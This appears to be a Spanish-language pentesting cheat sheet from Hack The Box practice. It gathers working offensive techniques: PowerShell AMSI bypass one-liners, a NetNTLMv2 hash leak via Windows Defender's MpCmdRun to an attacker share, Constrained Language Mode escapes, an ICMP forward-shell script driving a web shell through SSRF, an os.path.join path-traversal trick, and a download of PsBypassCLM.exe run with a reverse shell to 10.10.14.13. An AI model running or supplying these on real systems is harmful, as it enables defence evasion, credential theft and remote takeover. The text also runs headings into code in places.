Bypassing
AMSI
Automatización de WinRM
*Evil-WinRM* PS C:\Users\melanie\Desktop> Bypass-4MSI
Info: Patching 4MSI, please be patient...
[+] Success!Corromper tarea (Condición de carrera)
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)PS C:\Users\Sierra.Frye\Documents>
$a='si';$b='Am';$Ref=[Ref].Assembly.GetType(('System.Management.Automation.{0}{1}Utils'-f $b,$a)); $z=$Ref.GetField(('am{0}InitFailed'-f$a),'NonPublic,Static');$z.SetValue($null,$true)Obtención de hash NetNTLMv2 con Windows Defender
*Evil-WinRM* PS C:\Program Files\Windows Defender> ./MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.16.6\testCLM
Detección
[10.10.10.210]: PS> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguagePSSessions
PS /home/rubbx/Desktop/HTB/Machines/Reel2> Enter-PSSession -ComputerName 10.10.10.210 -Credential $Cred -Authentication NegotiateEjecución de comandos con funciones
[10.10.10.210]: PS> function bypassCLM { whoami }
[10.10.10.210]: PS>bypassCLM
htb\k.svenssonICMP Forward Shell
#!/usr/bin/env python3import base64import requestsimport threadingfrom cmd import Cmdfrom scapy.all import *from urllib.parse import quoteclass Term(Cmd): prompt = "[~] - " cmd_payload = """$cmd = '{cmd}'; $step=1000; $ping = New-Object System.Net.NetworkInformation.Ping; $opts = New-Object System.Net.NetworkInformation.PingOptions; $opts.DontFragment = $true; $res=(iex -command $cmd|out-string); $data = [System.Text.Encoding]::ASCII.GetBytes($res); $i=0; while($i -lt $data.length)""" def __init__(self): super().__init__() thread = threading.Thread(target=self.listen_thread, args=()) thread.daemon = True thread.start() def listen_thread(self): sniff(filter="icmp and src 10.10.10.57", iface="tun0", prn=self.handle_icmp) def handle_icmp(self, pkt): print(pkt[Raw].load.decode(), end="") sys.stdout.flush() def default(self, args): cmd = self.cmd_payload.format(cmd=args) enccmd = quote(quote(base64.b64encode(cmd.encode('utf-16le')).decode())) requests.get(f'http://10.10.10.57:62696/test.asp?u=http://127.0.0.1:80/cmd.aspx?xcmd=powershell+-enc+{enccmd}')term = Term()try: term.cmdloop()except KeyboardInterrupt: print()Python
Es posible eliminar la ruta que se obtiene de la ruta actual con getcwd() pasándole como argumento un path pero con una barra al principio
python3
Python 3.11.2 (main, Feb 12 2023, 00:48:52) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.path.join(os.getcwd(), "public", "uploads", "test")
'/home/rubbx/Desktop/HTB/Machines/OpenSource/source/app/app/public/uploads/test'En este ejemplo con la cadena /test
>>> os.path.join(os.getcwd(), "public", "uploads", "/test")
'/test'Cifrado documentos Office
Al descomprimir el documento, se puede eliminar el hash que contiene a la contraseña
unzip Desktop_Phishing_Attempt.xlsx<sheetProtection algorithmName="SHA-512" hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg=="zip -r Desktop_Phishing_Attempt.xlsx *CLM Evasion
$ExecutionContext.SessionState.LanguageMode
iwr -uri http://10.10.14.13/PsBypassCLM.exe -o C:\Temp\PsBypassCLM.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.14.13 /rport=443 /U C:\Temp\PsBypassCLM.exeLast updated